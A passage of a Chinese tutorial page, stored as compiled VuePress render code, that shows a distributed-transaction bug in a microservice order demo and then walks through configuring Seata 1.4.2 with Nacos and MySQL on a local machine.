"),a("p",[s._v("(4)查看订单条目数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order_item"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,订单条目数据表为空。")]),s._v(" "),a("p",[s._v("综上,在下单扣减库存的业务逻辑中,在订单微服务中扣减完商品库存后,抛出了异常,导致商品库存被扣减了。但是,订单数据却没有写入到数据库中,出现了分布式事务问题。接下来,我们就在项目中整合Seata来解决分布式事务问题。")]),s._v(" "),a("h2",{attrs:{id:"搭建并整合seata"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#搭建并整合seata"}},[s._v("#")]),s._v(" 搭建并整合Seata")]),s._v(" "),a("p",[s._v("接下来,我们就正式在项目中整合Seata来实现分布式事务。这里,我们主要整合Seata的AT模式。")]),s._v(" "),a("h3",{attrs:{id:"搭建seata基础环境"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#搭建seata基础环境"}},[s._v("#")]),s._v(" 搭建Seata基础环境")]),s._v(" "),a("p",[s._v("(1)到"),a("a",{attrs:{href:"https://github.com/seata/seata/releases/tag/v1.4.2",target:"_blank",rel:"noopener noreferrer"}},[s._v("https://github.com/seata/seata/releases/tag/v1.4.2"),a("OutboundLink")],1),s._v("链接下载Seata的安装包和源码,这里,下载的是1.4.2版本,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-002.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("这里我下载的都是zip压缩文件。")]),s._v(" "),a("p",[s._v("(2)进入Nacos,选择的命名空间,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-003","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-003.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击新建命名空间,并填写Seata相关的信息,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-004.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,这里我填写的信息如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("命名空间ID:seata_namespace_001,如果不填的话Nacos会自动生成命名空间的ID。")]),s._v(" "),a("li",[s._v("命名空间名:seata。")]),s._v(" "),a("li",[s._v("描述:seata的命名空间。")])]),s._v(" "),a("p",[a("strong",[s._v("这里,需要记录下命名空间的ID:seata_namespace_001,在后面的配置中会使用到。")])]),s._v(" "),a("p",[s._v("点击确定后如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-005","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-005.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,这里为Seata在Nacos中创建了命名空间。")]),s._v(" "),a("p",[s._v("(3)解压Seata安装文件,进入解压后的"),a("code",[s._v("seata/seata-server-1.4.2/conf")]),s._v("目录,修改"),a("code",[s._v("registry.conf")]),s._v("注册文件,修改后的部分文件内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("registry "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# file 、nacos 、eureka、redis、zk、consul、etcd3、sofa")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v("type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"nacos"')]),s._v("\n\n nacos "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n application "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"seata-server"')]),s._v("\n serverAddr "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1:8848"')]),s._v("\n group "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"SEATA_GROUP"')]),s._v("\n namespace "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"seata_namespace_001"')]),s._v("\n cluster "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"default"')]),s._v("\n username "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"nacos"')]),s._v("\n password "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"nacos"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\nconfig "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# file、nacos 、apollo、zk、consul、etcd3")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v("type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"nacos"')]),s._v("\n\n nacos "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n serverAddr "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1:8848"')]),s._v("\n namespace "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"seata_namespace_001"')]),s._v("\n group "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"SEATA_GROUP"')]),s._v("\n username "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"nacos"')]),s._v("\n password "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"nacos"')]),s._v("\n dataId "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"seataServer.properties"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br")])]),a("p",[s._v("其中,namespace的值就是在Nacos中配置的Seata的命名空间ID:seata_namespace_001。")]),s._v(" "),a("p",[a("strong",[s._v("注意:这里只列出了修改的部分内容,完整的registry.conf文件可以到项目的"),a("code",[s._v("doc/nacos/config/chapter25")]),s._v("目录下获取。")])]),s._v(" "),a("p",[s._v("(4)修改Seata安装文件的"),a("code",[s._v("seata/seata-server-1.4.2/conf")]),s._v("目录下的file.conf文件,修改后的部分配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("store "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n mode "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"db"')]),s._v("\n publicKey "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),s._v("\n db "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n datasource "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"druid"')]),s._v("\n dbType "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"mysql"')]),s._v("\n driverClassName "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"com.mysql.jdbc.Driver"')]),s._v("\n url "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"jdbc:mysql://127.0.0.1:3306/seata?useSSL=false&useUnicode=true&characterEncoding=utf-8&allowMultiQueries=true&serverTimezone=Asia/Shanghai"')]),s._v("\n user "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"root"')]),s._v("\n password "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"root"')]),s._v("\n minConn "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5")]),s._v("\n maxConn "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v("\n globalTable "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"global_table"')]),s._v("\n branchTable "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"branch_table"')]),s._v("\n lockTable "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"lock_table"')]),s._v("\n queryLimit "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v("\n maxWait "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br")])]),a("p",[a("strong",[s._v("注意:这里只列出了修改的部分内容,完整的file.conf文件可以到项目的"),a("code",[s._v("doc/nacos/config/chapter25")]),s._v("目录下获取。")])]),s._v(" "),a("p",[s._v("(5)在下载的Seata源码的"),a("code",[s._v("seata-1.4.2/script/config-center")]),s._v("目录下找到config.txt文件,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-006","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-006.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("将其复制到Seata安装包解压的根目录下,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-007.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("接下来,修改Seata安装包解压的根目录下的config.txt文件,这里还是只列出修改的部分,如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("service.vgroupMapping.server-order-tx_group"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("default\nservice.vgroupMapping.server-product-tx_group"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("default\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.mode")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("db\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.publicKey")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.db.datasource")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("druid\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.db.dbType")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("mysql\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.db.driverClassName")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("com.mysql.jdbc.Driver\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.db.url")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("jdbc:mysql://127.0.0.1:3306/seata?useSSL"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("false"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("useUnicode")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("true"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("characterEncoding")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("utf-8"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("allowMultiQueries")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("true"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("serverTimezone")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("Asia/Shanghai\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.db.user")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("root\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.db.password")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("root\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.redis.sentinel.masterName")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.redis.sentinel.sentinelHosts")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.redis.password")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br")])]),a("p",[a("strong",[s._v('注意:在config.txt中,部分配置的等号“=”后面为空,需要在等号“=“后面添加空字符串""。同样的,小伙伴们可以到项目的'),a("code",[s._v("doc/nacos/config/chapter25")]),s._v("目录下获取完整的config.txt文件。")])]),s._v(" "),a("p",[s._v("(6)在下载的Seata源码的"),a("code",[s._v("seata-1.4.2/script/config-center/nacos")]),s._v("目录下找到nacos-config.sh文件,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-008","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-008.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("将nacos-config.sh文件复制到Seata安装文件解压目录的"),a("code",[s._v("seata/seata-server-1.4.2/scripts")]),s._v("目录下,其中scripts目录需要手动创建,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-009","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-009.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(7).sh文件是Linux操作系统上的脚本文件,如果想在Windows操作系统上运行.sh文件,可以在Windows操作系统上安装Git后在运行.sh文件。")]),s._v(" "),a("p",[s._v("接下来,在Git的Bash命令行进入Seata安装文件中nacos-config.sh文件所在的目录,执行如下命令。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token function"}},[s._v("sh")]),s._v(" nacos-config.sh "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-h")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("127.0")]),s._v(".0.1 "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-p")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-g")]),s._v(" SEATA_GROUP "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-t")]),s._v(" seata_namespace_001 "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-u")]),s._v(" nacos "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-w")]),s._v(" nacos\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("其中,命令中的每个参数含义如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("-h:Nacos所在的IP地址。")]),s._v(" "),a("li",[s._v("-p:Nacos的端口号。")]),s._v(" "),a("li",[s._v("-g:分组。")]),s._v(" "),a("li",[s._v("-t:命名空间的ID,这里我们填写在Nacos中创建的命名空间的ID:seata_namespace_001。如果不填,默认是public命名空间。")]),s._v(" "),a("li",[s._v("-u:Nacos的用户名。")]),s._v(" "),a("li",[s._v("-w:Nacos的密码。")])]),s._v(" "),a("p",[s._v("执行命令后的结果信息如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("\n Complete initialization parameters, total-count:89 , failure-count:0\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("\n Init nacos config finished, please start seata-server.\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("可以看到,整个配置执行成功。")]),s._v(" "),a("p",[s._v("(8)打开Nacos的配置管理-配置列表界面,切换到seata命名空间,可以看到有关Seata的配置都注册到Nacos中了,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-010","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-010.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(9)在MySQL数据库中创建seata数据库,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token 